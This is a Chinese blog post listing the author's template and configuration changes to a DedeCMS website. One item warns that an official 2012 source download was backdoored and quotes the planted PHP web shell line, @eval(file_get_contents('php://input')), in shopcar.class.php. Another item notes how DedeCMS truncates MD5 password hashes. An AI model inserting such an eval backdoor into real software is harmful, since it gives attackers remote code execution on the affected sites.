LinuxEye - Linux系统教程

LinuxEye - Linux系统教程

当前位置: 主页 > 建站 >

本站修改dedecms的地方

时间:2012-04-21 17:29来源:未知 编辑:admin 点击:
1. 修改title article_article.htm title{dede:field name=title/}_{dede:field name=typename/}_{dede:global name=cfg_webname/}/title 2. 去广告 模块-广告管理 中去掉 3. 删除后台的广告 /data/www/dedecms/a/templets/login.htm 去掉
1. 修改title
article_article.htm
<title>{dede:field name='title'/}_{dede:field name='typename'/}_{dede:global name='cfg_webname'/}</title>

2. 去广告
模块-广告管理 中去掉

3. 删除后台的广告
/data/www/dedecms/a/templets/login.htm
去掉54行

4. 最后删除后台登录后的首页默认广告
/data/www/dedecms/a/templets/index_body.htm
删除195~200
195         <!--dl class='dbox' id="item8">
196             <dt class='lside'><div class='l'>赞助商链接(<a href="http://ad.dedecms.com/ad/" target="_blank">说明</a>)<    /div></dt>
197             <dd>
198                 <iframe name="showad" src="index_body.php?dopost=showad" frameborder="0" width="100%" id="showad" fram    eborder="0" scrolling="no"  marginheight="5"></iframe>
199             </dd>
200         </dl--><!--赞助商链接结束-->

5.  版权信息

6. 织梦CMS - 轻松建站从此开始
 /data/www/a/templets/default下
head.htm
head2.htm
search.htm

感谢、尊重原创作者的付出,版权问题请联系 admin@linuxeye.com
./cms/a/templets/login.htm     52
./a/templets/plus/download_links_templet.htm  49
./a/templets/plus/plus_foot.htm   10
./a/templets/plus/view_msg_catalog.htm   68
./a/templets/plus/sitemap.htm  39
./a/templets/plus/erraddsave.htm    83
./a/templets/plus/recommend.htm     61
./a/templets/plus/list_diyform.htm    74
./a/templets/plus/vote.htm                 43
./a/templets/plus/view_diyform.htm       60
./a/templets/plus/flink-add.htm           99
./a/templets/plus/post_diyform.htm          49
./a/templets/plus/rssmap.htm                     40
./a/templets/plus/flink-list.htm            64
./a/templets/plus/view_msg.htm         81
./a/templets/plus/heightsearch.htm         122
./a/templets/default/advancedsearch.htm       172
./a/templets/default/footer.htm              11
./a/templets/default/search.htm               72

dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码

7. 友情链接
/data/www/a/templets/default/index.htm
253                 <!--{dede:flinktype type="dedecms"}-->
254                 {dede:flinktype type="davidfei.cn"}

9. 会员中心修改
grep -R '织梦科技' /data/www | awk -F: '{print $1}'
/data/www/member/a/templets/resetpassword3.htm 130
/data/www/member/a/templets/resetpassword2.htm  133
/data/www/member/a/templets/resetpassword.htm
/data/www/member/a/templets/reg-new.htm
/data/www/member/a/templets/index-notlogin.htm
/data/www/member/a/templets/login.htm
/data/www/member/a/templets/reg-new2.htm
/data/www/member/a/templets/reg-new3.htm

修改图片:
logo.gif
login_logo.gif
530x56.gif       www03201827.tar.gz

10. 删除互动中心
/data/www/a/templets/default/index.htm
145~210   d65j
172~177  删除投票 <!-- -->
145 推荐内容与上方有空行 ,因为广告有空行 ,须下移 将145移到178

11. 去掉文章缩略图
/data/www/a/templets/default/list_article.htm
20行 去掉 <a href='{@me['arcurl']}' class='preview'><i    mg src='{@me['litpic']}'/></a>

12. dedecms跳转信息
/data/www/include/common.func.php
182
215

13.  修改邮件内容
/data/www/member/reg_new.php
254    $mailbody .= "Power by https://linuxeye.com linux无忧!\r\n";

14. 修改linux命令栏模板
cp /data/www/a/templets/default/singlepage.htm /data/www/a/templets/default/singlepage0324.htm
列表模板:{style}/singlepage0324.htm  (21行开始)
<div class="w960 center clear mt1">
        <div style="overflow:auto">
                <div class="place" style="color:#428C5B">
                        <strong>当前位置:</strong> <a href='/'>主页</a>&gt;{dede:field name='title'/}
                </div><!-- /place -->
                <div class="viewbox" style="overflow:auto;width:100%">
                  <!--div class="title">
                                <h2>{dede:field.title/}</h2>
                        </div--><!-- /title -->
                        <div class="content">
                          {dede:field.content/}
                  </div>
                </div><!-- /viewbox -->
        </div>
</div>

15  添加内容
7+4+7+8+3(5)
关键字:linux命令,命令,linux常用命令,linux指令,linux系统,unix命令,linux command
栏目描述:linux命令,Linux常用命令,linux指令,操作系统命令,文件管理,磁盘管理,文档管理,文件传输,磁盘维护,网络通讯,系统管理,系统设置,备份压缩,设备管理
<style type="text/css">
table{border-collapse:collapse;border:none;}
td{border:solid #BADAA1 1px;}</style>

16. 百度统计代码
<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F84dbd0cd1e3cb7deab68159dbb0d95d1' type='text/javascript'%3E%3C/script%3E"));
</script>

17. 去掉tag页缩略图
/data/www/a/templets/default/taglist.htm
25行 去掉 <a href='{@me['arcurl']}' class='preview'><i    mg src='{@me['litpic']}'/></a>

18. 2012-03-22官网下载源码漏洞
shopcar.class.php被植入一句话@eval(file_get_contents('php://input'));
/data/www/include/shopcar.class.php
现在官网下载已经消失

19. sitemap.xml
核心- 频道模型- 自由列表管理-更改
<url>
<loc>[field:arcurl function="Gmapurl(@me)"/]</loc>
<lastmod>[field:senddate function="strftime('%Y-%m-%d',@me)"/]</lastmod>
<changefreq>weekly</changefreq>
<priority>0.5</priority>
</url>

20. 语法高亮
参考:
http://www.lzklog.com/website/214.html
http://www.fengyicms.com/jishujiaoliu/201112/155.html

vi /data/www/include/ckeditor/plugins/dedepage/plugin.js
28行加, requires : ['syntaxhighlight']
 
vi /data/www/include/ckeditor/ckeditor.inc.php
13行加 'Code'

cd /data/www/include/ckeditor/plugins
 unzip /root/syntaxhighlight.zip
 chown -R www.www /data/www

修改模板文件/a/templets/default/article_article.htm
<script type="text/javascript" src="{dede:global.cfg_cmsurl/}/include/ckeditor/plugins/syntaxhighlight/bin/syntaxhighlighter-min.js"> </script>
<link type="text/css" rel="stylesheet" href="{dede:global.cfg_cmsurl/}/include/ckeditor/plugins/syntaxhighlight/styles/shCore.css"/>
<link type="text/css" rel="stylesheet" href="{dede:global.cfg_cmsurl/}/include/ckeditor/plugins/syntaxhighlight/styles/shThemeDefault.css"/>
<script type="text/javascript">
    SyntaxHighlighter.config.clipboardSwf = '{dede:global.cfg_cmsurl/}/include/ckeditor/plugins/syntaxhighlight/scripts/clipboard.swf';
    SyntaxHighlighter.all();
</script>

转载请保留固定链接: https://linuxeye.com/jianzhan/330.html

------分隔线----------------------------
标签:dedecms建站
栏目列表
推荐内容